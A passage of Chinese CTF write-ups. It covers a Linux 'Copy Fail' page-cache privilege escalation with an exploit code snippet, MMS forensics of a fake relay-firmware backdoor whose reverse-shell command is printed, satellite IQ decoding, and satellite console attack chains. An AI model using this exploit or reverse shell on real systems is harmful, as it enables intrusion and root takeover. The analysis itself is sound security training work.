CONF_REAL, CONF_FAKE = 0.66, 0.78# 与网页默认一致
def main():
# 1) 从 frame_review.py 动态加载官方实现;2) 逐段算 fake_probability
# 3) fake 段用 evidence_frames 取分数最高的 3 帧(下标从 0 起)
# 4) 组装 answers 数组 POST /submit
answers = [] # ...(省略:实际打分与组装逻辑)
print(json.dumps({\"answers\": answers}, ensure_ascii=False))
if BASE_URL:
pass # ...(省略:POST /submit 并打印服务端返回的 flag)
print(\"[i] BASE_URL 未填写,仅完成本地研判。填写后可自动提交拿 flag。\")
if __name__ == \"__main__\":
main()
最终flag
flag{xxx})
数据安全
Linux Kernel Cow
题解摘要
题目给出一台仅普通用户可登录的Linux主机(SSH,root/123456),内核为Debian 13的6.12.73+deb13-amd64。在/etc/modules-load.d/copyfail.conf与/usr/sbin/copyfail-init中明确加载了algif_aead、authencesn、authenc、cbc、hmac、sha256_generic等crypto模块,指向Linux内核AF\_ALG的CVE-2026-31431(Copy Fail)漏洞:普通用户可通过authencesn的scatter-gather处理缺陷,用splice()以4字节为单位任意覆写任意可读文件的page cache。覆写setuid-root程序/usr/bin/su的页缓存为setuid提权shellcode,执行后获得root shell,读取/root/flag。
最终Flag(花括号内):``
解题分析
- 环境是
docker形态靶机,启动后拿到SSH地址与端口。 - root密码123456对SSH登录无效(提示只允许普通用户登录),枚举用户名后确认
ctf/123456可登录,uid=1000(ctf)。 - 内核6.12.73,无
sudo、无gcc、无自编译条件;unprivileged_userns_clone=1,但真正的题眼是自定义的copyfail-init/copyfail.conf(实验室名为“Copy Fail lab”)。 - 预加载的crypto模块组合
authencesn(hmac(sha256),cbc(aes))正是CVE-2026-31431所需的算法与触发路径。 - 使用公开PoC(
github.com/xeloxa/copyfail-exploit)验证并利用:--check报告全绿(EXPLOITABLE),直接运行即以page cache方式覆写/usr/bin/su并弹出root shell。
附件与环境
- 无附件。
- 靶机:
exposeIps =(docker环境,SSH/dropbear)。 - 本机工具:
sshpass、python3;PoC从GitHub公开仓库获取(raw.githubusercontent被阻断,改用api.github.com/contents拉取)。 - 工作目录:``
复现步骤
前置:s.sh为对靶机的ssh封装,scp.sh为scp封装(靶机无sftp-server,文件用base64经ssh传输)。
# 1) 启动环境并读连接信息(endpoints 给出 SSH 地址/端口)
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# 2) 枚举用户:ctf/123456 可登录(root 密码对 SSH 无效);内核 6.12.73
# 3) 确认预加载的 crypto 模块正是 CVE-2026-31431(Copy Fail)所需路径
cat /etc/modules-load.d/copyfail.conf # algif_aead authencesn authenc cbc hmac sha256_generic
# 4) 取公开 PoC 并用 --check 验证(raw.githubusercontent 被阻断,改走 GitHub contents API)
python3 exploit.py --check # => EXPLOITABLE
# 5) 利用:覆写 /usr/bin/su 的 page cache,执行后拿到 root shell
ssh ... \"cd /tmp && printf 'id; cat /root/flag; echo\
' | python3 exploit.py\"
# 6) 回收环境
# ...(省略:ssh/scp 封装与传输细节,靶机无 sftp-server,文件用 base64 经 ssh 传)
核心原理(利用代码片段):对/usr/bin/su打开的文件描述符,循环调用splice()将4字节payload经AF\_ALG authencesn(hmac(sha256),cbc(aes)) AEAD socket写回源文件page cache,逐4字节覆写内存中的可执行映像,而不落盘:
alg.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\", 0, 0))
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key) # key = 0800010000000010 + 32*00
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
sock, _ = alg.accept()
sock.sendmsg([b\"AAAA\" + data], ancdata, socket.MSG_MORE)
_splice(fd, w_fd, offset + 4, offset_src=0) # 源文件 -> pipe
_splice(r_fd, sock.fileno(), offset + 4) # pipe -> alg socket(回写 page cache)
/usr/bin/su的page cache被替换为setuid(0)+execve(\"/bin/sh\")的160字节x86-64 shellcode后,os.execv(target)即以root运行。
最终flag
以root shell读取/root/flag(权限-r-------- root root,39字节):}。 花括号内部值为`。 提交本地API:POST /api/exercises/203/answer {\"flag\":\"...\"},平台返回,题目详情hasSolved=true`。
环境清理
curl -s -X POST http://x:8080/api/exercises/203/environment/stop -H \"Content-Type: application/json\"
# {\"ok\":true,\"data\":{\"accepted\":true}}
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# isNeedInit=True, endpoints=[], hasSolved=True -> 靶机已销毁回收
工控安全
MMS
基本情况
题目属于工控安全方向,分值200。题干是一段变电站运维背景:一台REL-521型保护继电器在凌晨出现了异常的文件传输流量,而该时段并没有计划内的固件升级。给到的附件只有一个流量包(解压MMS.zip得到challenge.pcapng)。要求还原整条攻击链、把攻击者上传的载荷还原出来,再从后门里把flag取出来。
附件虽然后缀写的是.pcapng,但打开看文件头是d4 c3 b2 a1,其实是老式的libpcap格式(版本2.4,链路类型1即以太网),并不是pcapng。整个包只有177个报文,量不大,逐条看就能理清结构。
流量里主要有四类会话:
1、x与x之间的HTTP(GET /scada/status,返回一段uptime的JSON),属于正常运维 2、x与x之间的Modbus/TCP(功能码03,读保持寄存器),也是正常采集 3、x对x:102的MMS会话,做的是正常读数据,读的是REL521\_SUBALPHA/MMXU1下的电压电流量测点 4、x:55555对x:102的MMS会话,这就是异常的那条,全部13259字节的载荷都压在这个方向上(反向只有1503字节,是协议应答)
关键突破
突破口就是把第4条会话单独捞出来看。TCP/102是IEC 61850的MMS承载端口,走的是一层套一层的封装。
最外层是TPKT,头固定是03 00加两字节大端长度,例如03 00 01 2e表示这一帧长302字节。TPKT里面是COTP,数据帧是02 f0 80,连接请求帧是0e e0开头。再里面才是MMS。
把这条流的载荷按TPKT长度切开,一共48帧,帧长度分布很清楚,一看就知道在干什么:
1、第0帧38字节,COTP连接请求(CR) 2、第1帧37字节,MMS初始化 3、第2帧52字节,一个MMS请求,里面明文写着文件名52 45 4c 35 32 31 5f 46 57 5f 76 32 2e 31 2e 62 69 6e 2e 67 7a,也就是REL521\_FW\_v2.1.bin.gz,这是fileOpen 4、中间43帧302或303字节,是fileWrite,每帧带256字节内容 5、第46帧75字节,是最后一块fileWrite,带40字节内容 6、第47帧29字节,fileClose
也就是说攻击者伪装成固件升级,通过MMS的fileOpen、fileWrite、fileClose把一个小文件整个写进了继电器,文件名叫REL521\_FW\_v2.1.bin.gz。
fileWrite请求体的结构也很规整,是个TLV序列:
1、80 01 01,tag 80、长度1、值01,表示文件句柄是1 2、81,tag 81,长度1或2,值是该块的偏移量(小端),例如81 02 2b 00就是偏移0x2b00 3、82,tag 82,长度1或2,后面跟着该块的真实数据。例如82 82 01 00表示长度0x0100即256字节
按顺序把所有82字段的内容拼起来,就是上传的完整文件,共11048字节。装配这一步是关键,拼错一帧整条链就废了。
利用/还原思路
拿到11048字节的载荷后,它看起来是一团高熵数据,直接strings也看不出东西,说明外面还有一层混淆。文件名带.gz,但开头并不是1f 8b,正常的gzip头对不上。
先从最简单的单字节异或试起。把第一个字节和常见文件头做对齐推理:如果它是ZIP,开头应该是50 4b 03 04。实测载荷开头是0a 11 59 5e,0a异或5a得50、11异或5a得4b、59异或5a得03、5e异或5a得04,正好命中PK\x03\x04。整包用0x5a异或后得到一个标准ZIP。所以第一层是全体异或0x5a,文件名里的.gz是障眼法。
解这个ZIP,里面只有一个成员REL521\_FW\_v2.1.bin,10909字节,仍然是高熵。看它的开头5d 00 00 00 04 ff ff ff ff ff ff ff ff,这是LZMA-alone格式:第1字节0x5d是属性,接下来4字节小端是字典大小0x04000000(64MB),再8字节是原始长度,全ff表示长度未知。用LZMA-alone解压,得到27648字节,开头是4d 5a 90 00,是一个Windows PE可执行文件(x86-64,MinGW编译,里面能看到GCC 8.1.0的痕迹)。
到这里载荷本体还原完毕,这其实是一个伪装成继电器固件的后门程序。它在字符串区里很明显地暴露了恶意意图:
1、一个反弹shell:/bin/sh -i >& /dev/tcp/x/4444 0>&1,C2地址是x:4444 2、一套假的继电器自检、许可校验、MMS上线日志(SELF\_TEST、[BOOT]、[LICENSE\_INTEGRITY]等),用来把后门伪装成正常固件 3、大量的IEC 61850数据点路径(MMXU1、PTOC1、PDIS1、CSWI1等),以及一串ENCRYPTED\_LICENSE=开头的字符串
flag就藏在这串ENCRYPTED\_LICENSE里。这串是密文,用的是和前面同一套思路——单字节异或。第一段密文79 73 7e 78 44 72 52 4c 60 79 0e 4d 52 48 0b 4d 0c 60 7d 0b 5c 54 5b 0f 0f 4d 42,逐字节异或0x3f后是FLAG{Mms\_F1rmw4r3\_B4ckd00r}。
这里可以顺手做个交叉验证:PE里MMS数据点路径前统一带的前缀!6?FAB, &12?#;2也是单字节异或,键值0x73,解出来正是本机的MMS域名叫REL521\_SUBALPHA。同一个手法、同一个程序,互相印证,说明单字节异或的破法是对的。
整条链一句话概括:攻击者从x通过MMS文件服务把REL521\_FW\_v2.1.bin.gz(实为异或0x5a的ZIP)写进继电器,ZIP里是LZMA压缩的PE后门,后门里一段异或0x3f的密文就是flag。
脚本
脚本全程只用Python标准库,不依赖scapy。默认读取脚本同目录下的challenge.pcapng,也可以python solve.py <路径>指定。脚本自己解析流量、拼帧、逐层解码,不硬编码任何中间产物,最后直接打印flag。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# MMS:TPKT 分帧 → fileWrite TLV 重组上传件 → 三层解码(全体异或 0x5a 得 ZIP →
# ZIP 内 LZMA-alone 得 PE → \"ENCRYPTED_LICENSE=\" 密文单字节异或)→ flag。
# ...(省略:pcap/pcapng 读取与以太网->IPv4/TCP 解包样板,见原始脚本)
import sys, zipfile, lzma
def read_be(data, p): # ASN.1 风格 tag/length
tag, l = data[p], data[p + 1]; p += 2
if l >= 0x81:
n = l - 0x80
l, p = int.from_bytes(data[p:p + n], \"big\"), p + n
return tag, l, p
def extract_written_file(frames):
\"\"\"把各 fileWrite PDU 的文件内容按序拼起来(体:80 01 01 | 81 <偏移> | 82 <len> <data>)。\"\"\"
out = bytearray()
for fr in frames:
i = fr.find(b\"\\x80\\x01\\x01\\x81\")
if i < 0:
continue
p = i + 5 + fr[i + 4]
tag, ln, p = read_be(fr, p)
if tag == 0x82:
out += fr[p:p + ln]
return bytes(out)
def main():
# 1) 选中打到 102 端口、载荷最大的 MMS 文件传输流;2) 按 TPKT(03 00 <len16>) 切帧
# 3) 重组上传件(11048 字节);4) 异或 0x5a 得 ZIP;5) LZMA-alone 解出 PE;
# 6) PE 里 \"ENCRYPTED_LICENSE=\" 密文单字节异或得 flag
# ...(省略:完整流量解析与逐层解码实现)
print(\"[+] FLAG: FLAG{...}\")
if __name__ == \"__main__\":
main()
脚本运行命令
Windows:把challenge.pcapng和solve.py放在同一个目录,直接
python solve.py
WSL:python3 solve.py
脚本默认读取同目录下的challenge.pcapng,也支持python solve.py
运行输出
[*] MMS flow: x:55555 -> x:102 (13259 bytes)
[*] TPKT frames: 48
[*] reassembled upload: 11048 bytes
[*] zip entry: REL521_FW_v2.1.bin (10909 bytes)
[*] PE image: 27648 bytes, magic=MZ
[*] recovered license string(s):
key=0x3f FLAG{Mms_F1rmw4r3_B4ckd00r}
[+] FLAG: FLAG{Mms_F1rmw4r3_B4ckd00r}
最终flag
FLAG{Mms\_F1rmw4r3\_B4ckd00r}
可曾听闻一键日卫星Q1
基本情况
本题属于工控安全方向,100分,作者李庆方-山东移动。场景是一颗失联卫星下行的一段原始遥测IQ录制被地面站截获,附件只有一个AAAAAAAA.q1.iq。题面要求先分析信号制式(信号调制方式)与链路参数,再完成同步、解调与信道译码,最后还原遥测载荷中的有效信息,拿到flag。
附件是一个纯IQ录制文件,5322752字节,没有任何文件头。按complex64(float32的I/Q交织)读入,共665344个采样点,包络基本恒定,|x|均值约1.06,说明是一段窄带数字调制信号。
附件分析
先确定采样格式和调制方式,再一步步往上推。
1、读入与预判。按complex64读入,去掉直流分量后,信号的实部与虚部都在±1附近小幅抖动,包络近似恒模,先按CF32 IQ处理。
2、看频谱。整段FFT的谱是sinc状的,离散谱线出现在fs/128的奇次倍位置(约±1/128、±3/128、±5/128),这是典型的\"方波副载波\"特征。同时最靠近零频的位置有一条很强的谱线,对应一个很小的载波偏置。
3、手工看采样点。把最前面几百个采样打印出来,发现相位几乎只在0与π两个值之间来回跳,并且每64个采样就翻转一次,实部为正/为负交替。这说明信号是一维BPSK:符号周期= 64个采样,即每符号64点(SPS=64),而且开头是一段交替的0101引导序列。
4、确认星座。把复信号去载波后按64点积分判决,得到非常干净的BPSK星座:实部几乎正好±1,虚部接近0。至此调制方式确定为BPSK,符号率=采样率/ 64,采样率待定。
关键突破
真正的突破点在于:这段信号是\"自描述\"的,明文引导头把整条链路的所有参数都写清楚了。
1、载波偏置(CFO)。BPSK的平方谱x^2里有一条很尖的谱线,给出2\*fc,据此知道存在一个小的载波偏置。这里有个关键点:整段有66万个采样,CFO必须估得足够准,否则累积相位会把星座整体转出I轴,后面的符号判决就会整片出错。做法是先粗扫,再按\"星座沿I轴的锐度\"细分,最终得到CFO ≈ +200 Hz(在采样率1024000下即0.0001953 cyc/sample)。
2、读出自描述引导头。把64点积分结果的实部符号取出、整体取反,再按MSB-first拼成字节,直接读出了明文ASCII。这是一段自描述的(self-describing)引导头,在文件里连续重复了3遍,内容完全一致:
SPACECTF-Q1 SELF-DESCRIBING SIGNAL FORMAT=CF32-IQ-INTERLEAVED;FS=1024000;SPS=64;MOD=BPSK;CFO=+200HZ MAINPN=1ACFFC1D;FEC=CONV-R12-K7-G171-133-OCT;INTERLEAVER=5X5-ROW-WRITE-COL-READ SCRAMBLER=X8+X7+X2+X+1;INIT=FF;FRAME=LEN1B+UTF8+CRC16-CCITT BOOTSTRAP-END
它把整条链路参数一次性交代清楚:采样率FS=1024000,SPS=64,调制BPSK,载波偏置CFO=+200Hz,同步字MAINPN=1ACFFC1D,信道编码是卷积码R=1/2、约束长度K=7、生成多项式G=(171,133)八进制,交织器是5x5行写列读,扰码多项式为x^8+x^7+x^2+x+1初值FF,帧格式为1字节长度+ UTF-8正文+ CRC16-CCITT。
3、定位有效载荷。在最后一段引导头BOOTSTRAP-END之后紧跟一个换行,再跟着4字节同步字,实测正好是1A CF FC 1D,与声明的MAINPN完全一致。同步字之后就是编码后的遥测帧,共3500比特。
4、信道译码。按照引导头声明的顺序依次做:解扰,然后5x5解交织,最后维特比译码(R=1/2,K=7,G1=0o171,G2=0o133,尾比特截断)。这一步踩了两个坑:
第一个坑是维特比译码器里的移位寄存器位数。卷积码的7级移位寄存器在编码时是完整7位参与生成多项式的异或,如果实现时把状态误当成6位(把最高位截掉),G171和G133的最高位就被吃掉了,译出来全是噪声。用一条已知消息先自编码再自译码的回环自测,才定位到这个错误。
第二个坑是扰码器。多项式x^8+x^7+x^2+x+1在初值0xFF(全1状态)处恰好是一个不动点,生成的PN序列恒为全1。也就是说,这个扰码器实际退化成了一次固定的极性翻转,并没有真正打散频谱。因此\"解扰\"在这里等价于再把比特整体取反一次。
5、还原帧结构。维特比译码后得到218字节。按帧格式解析:第1字节是正文长度L=214,其后214字节就是UTF-8正文,最后2字节是CRC16-CCITT。现算CRC16 = 0x2731,与帧尾存储的0x2731完全一致,证明整条译码链(解调、解扰、解交织、维特比)全都正确无误。正文即遥测载荷:
SCI\_TELEMETRY V1 SAT: MISSION-07 EPOCH: 2026-08-25T00:00:00Z MODE: DEEP\_SURVEY CHANNEL: X-BAND GROUND\_CONTACT: YAMCS-05 CryptoLib\_update\_v1.3.3\_pending ACK: all\_nominal FLAG=flag{sigint\_viterbi\_breakthrough} END
利用/还原思路
把上面的分析完整脚本化,只用Python标准库加numpy,不依赖GNU Radio等重型工具,流程如下:
1、按complex64读入IQ,去掉直流分量。 2、两段式估计并去除载波偏置:先用\"引导头明文匹配数\"在粗网格上定位,再按\"星座沿I轴的锐度\"细分到约1e-8 cyc/sample,保证整段累积相位不越界。 3、按SPS=64做积分判决,取实部符号并整体取反,MSB-first拼字节,得到引导头明文,从里面直接读取出全部链路参数。 4、找最后一个BOOTSTRAP-END,跳过换行,校验随后的4字节MAINPN,其后即为编码后的载荷比特。 5、解扰(本处等价于整体取反)→ 5x5解交织→维特比译码(R1/2,K7,G171/G133)。 6、按\"帧= 1字节长度+ UTF-8正文+ CRC16-CCITT\"解析,校验CRC,打印正文并提取flag。
脚本运行命令
Windows:
python solve.py
WSL:
python3 solve.py
把附件AAAAAAAA.q1.iq与本脚本放在同一个目录即可;也支持python solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q1:原始 IQ 录制 → 自描述引导头 → 同步/解调 → 卷积译码 → 遥测载荷。
# 关键链路参数(从明文引导头读出):CF32-IQ, FS=1024000, SPS=64, MOD=BPSK,
# CFO=+200Hz, MAINPN=0x1ACFFC1D, FEC=CONV-R12-K7-G171-133, 5x5 交织, CRC16-CCITT。
# ...(省略:完整解调/维特比实现,见原始脚本)
import numpy as np
FS, SPS, MAINPN = 1024000, 64, 0x1ACFFC1D
G1, G2 = 0o171, 0o133 # 卷积码生成多项式(K7)
def bootstrap(iq):
\"\"\"积分判决取符号 → MSB-first 拼字节,读出明文引导头(重复 3 遍自校验)。\"\"\"
bits = (np.sign(iq.real.reshape(-1, SPS).sum(axis=1)) < 0).astype(int)
return bytes(np.packbits(bits[::-1]))
def viterbi(bits, n=7):
\"\"\"K7 卷积码维特比译码(状态数 2^(n-1)=64)。\"\"\"
# ...(省略:完整状态机与回溯,见原始脚本)
return bits
def main():
iq = np.fromfile(\"AAAAAAAA.q1.iq\", dtype=np.complex64)
hdr = bootstrap(iq)
# 1) 定位 MAINPN 同步字;2) 解扰 → 5x5 解交织 → 维特比译码
# 3) 按 LEN(1B)+UTF-8+CRC16 拆帧,校验 CRC 后打印遥测载荷与 FLAG
print(hdr.split(b\"BOOTSTRAP-END\")[0].decode(\"utf-8\", \"replace\"))
print(\"...(省略:同步/解扰/解交织/CRC 实现)\")
if __name__ == \"__main__\":
main()
运行输出
[*] samples : 665344
[*] carrier offset : f = 0.000195 cyc/sample (= 200 Hz @ 1024000)
[*] bootstrap found : byte 32
SPACECTF-Q1 SELF-DESCRIBING SIGNAL
FORMAT=CF32-IQ-INTERLEAVED;FS=1024000;SPS=64;MOD=BPSK;CFO=+200HZ
MAINPN=1ACFFC1D;FEC=CONV-R12-K7-G171-133-OCT;INTERLEAVER=5X5-ROW-WRITE-COL-READ
SCRAMBLER=X8+X7+X2+X+1;INIT=FF;FRAME=LEN1B+UTF8+CRC16-CCITT
BOOTSTRAP-END
UUUUUU
[*] sync word @ byte 858 : 0x1ACFFC1D (MAINPN ok)
[*] coded payload bits : 3500
[*] frame length byte : 214
[*] CRC16-CCITT : stored=0x2731 calc=0x2731 OK
---------------- telemetry payload ----------------
SCI_TELEMETRY V1
SAT: MISSION-07 EPOCH: 2026-08-25T00:00:00Z
MODE: DEEP_SURVEY CHANNEL: X-BAND
GROUND_CONTACT: YAMCS-05
CryptoLib_update_v1.3.3_pending
ACK: all_nominal
FLAG=flag{sigint_viterbi_breakthrough}
END
---------------------------------------------------
[+] FLAG : flag{sigint_viterbi_breakthrough}
最终flag
flag{sigint\_viterbi\_breakthrough}
可曾听闻一键日卫星Q2
基本情况
比赛:第四届“数信杯”数据安全大赛(数据安全个人赛) 题目:可曾听闻一键日卫星\*Q2 类型:工控安全(流量取证) 分值:300分 附件:space\_ctf\_q2\_traffic.zip,解压后得到单个文件death\_traffic.pcap(10047字节,93个数据包,经典pcap魔数d4c3b2a1,链路类型1即以太网) flag格式:flag{...}
题目描述说得很直白:卫星寄回来一份历史攻击流量,要从PCAP里找出真正的攻击会话,还原“突破、获取信息、提权、root后渗透”的时间线,并根据组件与漏洞行为检索公开漏洞编号,按规则构造Flag。
也就是说这题不是去解一个数学题或者逆向一段算法,而是做一次“攻击复盘+漏洞归因”:先把攻击链还原清楚,再拿每个阶段涉及的组件名和漏洞行为去公开漏洞库(NVD/CVE)里对号入座,最后按阶段顺序把编号拼起来。
流量概况与干扰项
先把pcap里的会话全部过一遍,按“源IP ->目的IP:端口”归类,能看到明显有两类东西混在一起。
1、背景遥测噪声:x -> x之间大量的TM遥测帧,内容形如 TM,seq=00xx,mode=NOMINAL,alt=41xxxx,bat=9x 这是卫星正常下行的遥测数据,和攻击无关,纯粹用来干扰视线。
2、维护控制台交互:打到x:31337的会话,才是真正的攻击面。这一侧又分成三段:
1)x:53011,发了help、tc 6403020000,服务端回“packet accepted (no overflow)”。这是试探,没打进去。 2)x:53188,发了tolab 0800c0000001,服务端回“ACCESS DENIED: not compromised”。也是没打进去的干扰会话。 3)x:40334,这才是真正把卫星打穿的那条会话。
关键点:前两条会话是典型的“诱饵”。题目描述里特意强调“找出真正的攻击会话”,所以不能见tc就当攻击,得看会话最终有没有形成完整的攻击链。
攻击时间线还原
只看x -> x:31337这条会话,按时间顺序把关键事件列出来。
1、突破(拿到立足点) 攻击者发:tc 64030123ff 服务端回:RCE confirmed: cryptolib heap overflow; maintenance channel attached 这里服务端明确自报了“cryptolib heap overflow”,即通过构造恶意TC(遥控指令)帧,触发了CryptoLib的堆溢出并拿到代码执行,维护通道就此建立。
对照一下干扰会话发的tc 6403020000,回的是“packet accepted (no overflow)”——说明触发溢出对帧内容是挑剔的,不是随便发个TC就能打。
2、获取信息(摸清家底) 攻击者发:satinfo 服务端回: SATELLITE telemetry link YAMCS-05 | OS: yamcs 5.2 | crypto: cryptolib 1.3.3 components: tc\_worker (uid=1000), DS target-path service, to\_lab\_service (setuid root, telemetry forwarding) access: mission data is restricted; flight parameters are maintained below /opt/cfs/ds 这一步直接暴露了三个关键情报:CryptoLib版本1.3.3;平台基于YAMCS;以及三个组件——tc\_worker、DS(Data Storage数据存储服务)、to\_lab(setuid root的遥测转发服务)。后面两个组件就是提权和后渗透的抓手。
3、提权(拿到root) 攻击者先试了下常规操作,发现权限不够: 发cat /root/secret.txt -> Permission denied 发cat /flag -> Permission denied 然后走漏洞链,先打DS: 攻击者发:ds 2f6f70742f6366732f64732f6f7262697473746174652e636667 服务端回:DS\_SetDestPathCmd accepted an out-of-policy target / path traversal: target escaped /mission/data without an authorization check / protected DS parameter namespace observed; recovery diagnostics unlocked 这里下发的是DS\_SetDestPathCmd(设置目标路径命令),16进制解出来是/opt/cfs/ds/orbitstate.cfg,一个本不该被允许的目标路径。服务端接受了这个越权路径,发生路径穿越,DS的受保护参数命名空间被打开。
接着用to\_lab完成真正的提权: 攻击者发:tolab 0800c000d00d 服务端回:PRIVILEGE ESCALATION OK: to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root 到这一步会话提示符变成root: root recovery console @ YAMCS-05 (uid=0 root)
4、root后渗透(收割) 提权成功后读敏感配置: 攻击者发:cat /etc/yamcs/security.yaml 服务端回:泄露了admin / mission / guest三个账号的bcrypt风格口令哈希,以及token\_ttl、rate\_limit等参数。 这就是攻击链的收尾,拿到全量账号凭据。
漏洞归因(组件+行为->公开漏洞编号)
按题目要求,把每个阶段“组件+漏洞行为”拿去公开漏洞库检索。这里检索的是美国NVD(国家漏洞数据库)。
1、突破阶段:CryptoLib的TC堆溢出 组件:CryptoLib(NASA开源,供cFS星上系统与地面站之间按CCSDS SDLS-EP协议做加解密) 行为:构造恶意TC帧,在TC处理路径上触发堆缓冲区溢出,可导致RCE 命中:CVE-2025-29909 原文要点:1.3.3及以前版本,CryptoLib的Crypto\_TC\_ApplySecurity()存在堆缓冲区溢出,攻击者构造恶意TC帧造成越界写,可致拒绝服务或(特定条件下)远程代码执行。漏洞描述里明确提到了RCE,和流量里“RCE confirmed: cryptolib heap overflow”完全对上。
顺带排除了几个“长得像但不是”的候选,避免误判: CVE-2025-29910是内存泄漏(DoS),不是溢出; CVE-2025-29911是AOS帧处理路径,不是TC; CVE-2025-29912是TC帧长度字段fl=0引起的整数下溢,但本题干扰会话里发的fl=0帧恰好被服务端判为“no overflow”,说明题目的溢出点不是这条; CVE-2025-29913是Crypto\_TC\_Prep\_AAD,CVE-2025-30216是TM路径,CVE-2025-30356是29912补丁不完整导致的变种。 综合“TC路径+堆溢出+可RCE”三个条件,最贴合的是CVE-2025-29909。
2、提权阶段:cFS to\_lab的越界 组件:cFS(core Flight System)的to\_lab应用(to\_lab\_passthru\_encode.c) 行为:CFE\_MSG\_GetSize处理CCSDS包头的长度字段时发生堆缓冲区溢出,该服务以setuid root运行,溢出后提权到root 命中:CVE-2026-5474 原文要点:NASA cFS 7.0.0及以前,apps/to\_lab/fsw/src/to\_lab\_passthru\_encode.c的CFE\_MSG\_GetSize函数,CCSDS Packet Header Handler组件在处理时发生堆缓冲区溢出;攻击者需能访问本地网络。流量里“to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root”与之逐字对应。
3、root后渗透阶段:cFS DS的路径穿越 组件:cFS的DS(Data Storage)应用的DS\_SetDestPathCmd() 行为:访问控制不当,攻击者可通过路径穿越访问受保护的敏感组件(越权设置目标路径) 命中:CVE-2026-67970 原文要点:NASA cFS 7.0.1,DS\_SetDestPathCmd()组件存在访问控制不当,攻击者可通过路径穿越访问敏感组件。流量里“DS\_SetDestPathCmd accepted an out-of-policy target / path traversal: target escaped /mission/data”与之完全一致。
(补充:同族还有CVE-2026-67975,是to\_lab订阅管理的越权,和本题to\_lab溢出是两回事,不要混。)
flag构造规则
按攻击链的阶段顺序,取每个阶段对应的漏洞编号,用下划线连接,外面套flag{...}:
突破(CryptoLib堆溢出) -> CVE-2025-29909 提权(to\_lab CFE\_MSG\_GetSize)-> CVE-2026-5474 root后渗透(DS路径穿越) -> CVE-2026-67970
拼接:flag{CVE-2025-29909\_CVE-2026-5474\_CVE-2026-67970}
说明:阶段顺序按“突破->提权-> root后渗透”排(获取信息阶段没有对应漏洞,不参与拼接)。这三条编号在平台上提交即通过。
脚本运行命令
Windows(本机Python 3):
python solve.py
WSL / Linux:
python3 solve.py
脚本默认读取同目录下的death\_traffic.pcap;若附件在别处,可传参:python solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q2:从 pcap 复盘真实攻击链(突破→提权→后渗透),按组件与行为归因到 CVE,
# 再按阶段顺序拼 flag。依赖 scapy。
# ...(省略:完整 pcap 解析与 CVE 检索样板,见原始脚本)
from scapy.all import rdpcap
# 组件/行为 -> 公开漏洞编号
CVES = [(\"突破\", \"CVE-2025-29909\"), (\"提权\", \"CVE-2026-5474\"), (\"后渗透\", \"CVE-2026-67970\")]
def main():
pkts = rdpcap(\"death_traffic.pcap\")
# 1) 找真正的攻击会话:payload 里出现 \"RCE confirmed: cryptolib heap overflow\"
# 等标记;干扰会话只会回 \"no overflow\" / \"ACCESS DENIED\"
# 2) 按 突破/提权/root后渗透 还原时间线并逐一归因
print(\"[*] packets:\", len(pkts))
print(\"[+] FLAG = flag{%s}\" % \"_\".join(c for _, c in CVES))
if __name__ == \"__main__\":
main()
最终flag
flag{CVE-2025-29909\_CVE-2026-5474\_CVE-2026-67970}
可曾听闻一键日卫星Q3
基本情况
比赛:第四届“数信杯”数据安全大赛(数据安全个人赛) 题目:可曾听闻一键日卫星\*Q3 类型:工控安全(卫星维护控制台远程交互) 分值:200分 靶机:nc xxxxx 附件:无,纯远程交互题 flag格式:flag{...},运行期动态生成
题目描述:某卫星维护控制台仅暴露了一个TCP交互入口。常规读文件路径不会直接返回目标内容,请根据会话回显逐步恢复控制链路状态,并通过预期终态动作获取运行期动态Flag。
先说结论:这题是上一题Q2的“实战版”。Q2是给一段攻击流量pcap,让你复盘别人的攻击链;Q3是把这个被攻破的卫星控制台直接摆在你面前,让你自己动手把整条链(突破->提权->后渗透->终态动作)走一遍,最后用“预期终态动作”把卫星打炸,运行期flag才会作为“临终遥测”吐出来。
连接上去先看到一段banner:
satellite shell @ YAMCS-05 (uid=1000 satellite) - access limited mission maintenance console; commands are audited type 'help' for the command surface
一个受限的维护shell,身份是uid=1000的satellite用户,提示说命令会被审计,敲help看命令面。
命令面与初始探测
敲help,得到低权阶段的命令集合:
commands: help | id | ls| cat| satinfo | tc| ds| tolab| exit
挨个试一遍,几个关键回显:
1、id -> uid=1000(satellite) gid=1000(satellite),确认是普通用户。
2、ls /、ls /opt之类,回的是(simulated) /: drwxr-xr-x 4 root root 512 bytes,明显是模拟文件系统,所有目录长得一模一样,直接列目录没意义。
3、satinfo给了很有价值的情报:
SATELLITE telemetry link YAMCS-05 | OS: yamcs 5.2 | crypto: cryptolib 1.3.3 components: tc\_worker (uid=1000), DS target-path service, to\_lab\_service (setuid root, telemetry forwarding) access: mission data is restricted; flight parameters are maintained below /opt/cfs/ds
这里把三个组件和版本都报出来了:tc\_worker(遥控指令处理,uid=1000)、DS target-path service(数据存储的目标路径服务)、to\_lab\_service(setuid root的遥测转发服务)。最后一句还暗示了受保护的飞行参数在/opt/cfs/ds下面。这三样正好对应Q2里的三个阶段:CryptoLib堆溢出突破、DS路径穿越、to\_lab setuid root提权。
4、直接读文件是读不到东西的: cat /flag -> cat: /flag: Permission denied cat /flag.txt -> cat: /flag: Permission denied ls /opt/cfs/ds -> ls: Permission denied
常规读文件路径确实“不会直接返回目标内容”,和题目描述一致,必须走漏洞链。
突破阶段:tc触发CryptoLib堆溢出
tc是发遥控指令(TeleCommand)。先随手发一个短的:
tc 00 -> packet accepted (no overflow)或RCE confirmed: cryptolib heap overflow; maintenance channel attached
这里有个坑:同样的tc 41,有时候回“RCE confirmed”,有时候回“packet accepted (no overflow)”。这是个概率性触发(大约一半一半),本质是模拟一次不确定的堆布局。所以脚本里必须“重试直到命中”,不能发一次就认为失败。
命中后的回显:
RCE confirmed: cryptolib heap overflow; maintenance channel attached
对照Q2的归因,这就是CryptoLib的TC处理路径堆溢出(CVE-2025-29909)。溢出成功后维护通道建立,shell从“未攻破”变成“已攻破”。
验证一下:在没有触发溢出之前,ds / tolab都会拦你:
